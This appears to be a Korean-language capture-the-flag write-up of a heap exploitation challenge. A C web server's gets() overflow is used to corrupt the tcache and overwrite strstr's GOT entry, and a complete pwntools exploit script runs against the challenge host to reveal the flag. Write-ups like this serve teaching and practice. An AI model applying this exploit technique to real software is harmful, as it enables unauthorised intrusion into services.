Deadsec 팀으로 출전해서 풀었던 문제. c언어로 작성된 웹서버 파일이 주어진다. 아래처럼 flag.txt 에 대해서는 debug_handler 함수를 실행시켜서 파일의 내용을 보여주지 않는다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

    handler_fn handler;
    
    if (strstr(path, "flag.txt") != NULL) {
        handler = debug_handler;
    } else {
        handler = fileserv_handler;
    }

    handler(method, path, version, header_count, headers, data, err);

취약점은 gets 함수에서 발생한다.

1
2
3
4
5

    for (;;) {
        char *header_line = gets(buf);
        if (header_line == NULL) longjmp(err, 1);
        if (strlen(header_line) == 0 || strcmp(header_line, "\r") == 0) break; // "\n" or "\r\n"; end of query

여기서 gets 함수의 인자인 buf 배열의 주소가 headers, header_cap, header_count 변수보다 작기 때문에 해당 값들을 전부 컨트롤 할 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for (;;) {
        char *header_line = gets(buf);
        if (header_line == NULL) longjmp(err, 1);
        if (strlen(header_line) == 0 || strcmp(header_line, "\r") == 0) break; // "\n" or "\r\n"; end of query

        int index = 0;
        char *name = take_until_char(header_line, &index, ':');
        char *value = take_until_newline(header_line, &index);
        name = malloc_str(name);
        value = malloc_str(value);

        if (header_count + 1 > header_cap) {
            int new_cap = header_cap < 4 ? 4 : header_cap * 2;
            headers = realloc(headers, sizeof(struct Header) * new_cap);
            header_cap = new_cap;
        }
        struct Header h;
        h.name = name;
        h.value = value;
        headers[header_count] = h;
        header_count += 1;
    .....
    }

이 경우에 header_count 변수를 음수로 설정하면, 우리는 tcache arena (tcache 구조체를 담고있는 곳)에 h 구조체를 적을 수 있는데, 이 구조체가 가지고 있는 name 이라는 멤버는 힙 주소로 해당 주소에 들어가는 문자열을 우리가 컨트롤 할 수 있다. 여기서 뭘 생각해야 하냐면 tcache arena 에 있는 bin 들에 name 멤버가 들어가게 되면, name에 들어가있는 값들도 연속된 할당으로 받을 수 있는 것을 알아야 한다.

Safe-linking이 걸려있으면 풀 수 없을 것이라고 생각했기 때문에 20.04로 가정하고 문제를 풀었다. 어쨌든 취약점을 잘 응용하면 위와 같은 상황을 만들어 줄 수 있다. 이를 위해서는 특정 bin 의 개수 조작도 해야되고, bin에 직접 주소도 넣어야 한다. fopendirstrstr 과 근접해있기 때문에 이를 이용해서 strstr 의 got를 fopendir 의 plt 주소로 바꾸었다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

    handler_fn handler;
    
    if (strstr(path, "flag.txt") != NULL) {
        handler = debug_handler;
    } else {
        handler = fileserv_handler;
    }

    handler(method, path, version, header_count, headers, data, err);

fopendir 함수는 디렉토리를 여는데 실패할 시 NULL을 반환하기 때문에 fileserv_handler가 호출되어 파일의 내용을 보여주게 된다. 이 문제는 서버 libc, docker 등을 제공해주지 않았기 때문에 header_count 변수의 적절한 값을 브루트 포싱해서 구해야한다. 확인 결과 서버에서는 -192 로 했을 때 로컬 익스코드가 돌아갔다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
#context.log_level = 'debug'
e = ELF('./webserver')
target = e.got['strstr'] - 0x10
def make(header, cl, headers, header_cap, header_count):
    pl = header
    pl = pl.ljust(0x320 - 4, b'\x90') #Dumm
    pl += p32(cl) #content-length
    pl += p64(headers)
    pl += p32(header_cap) #header_cap
    pl += p32(header_count) #header_count
    return pl
#p = process('./webserver')
for j in range(-0x137, 0x100):
    j = -192
    try:
        p = remote('guppy.utctf.live', 5848)
        pl = b'GET /flag.txt HTTP/1.1\x00\r\n'
        p.send(pl)
        pl = b'content-length : 10\n' #make 0x50 chunk
        p.send(pl)
        for i in range(3):
            pl = b'content-length : 10\n'
            p.send(pl)

        pl = make(b'aa :' + p64(target) * 6 + b' : ' + p64(target) * 6, 0, 0, negate(0x200), negate(0x137 + j))
        p.sendline(pl)
        #print('first')
        pl = make(p64(target) * 6 + b' : ' + p64(target) * 6, 0, 0, negate(0x200), negate(0x150 + j))
        p.sendline(pl)
        #print('second')
        pl = make(p64(target) * 6 + b' : ' + p64(target) * 6, 0x160-1, 0, 11, 11)
        p.sendline(pl)
        #print('third')
        p.send(b'\r\n')
        #content
        pl = p64(0x4011a0) + p64(0) + p64(0x4011a0)
        pl = pl.ljust(0x160-1, b'A')
        p.sendline(pl)
        line = p.recvline()
        print('line : ', line)
        if b'For' not in line:
            print(j)
            p.interactive()
    except:
        p.close()

utflag{an_educational_experience}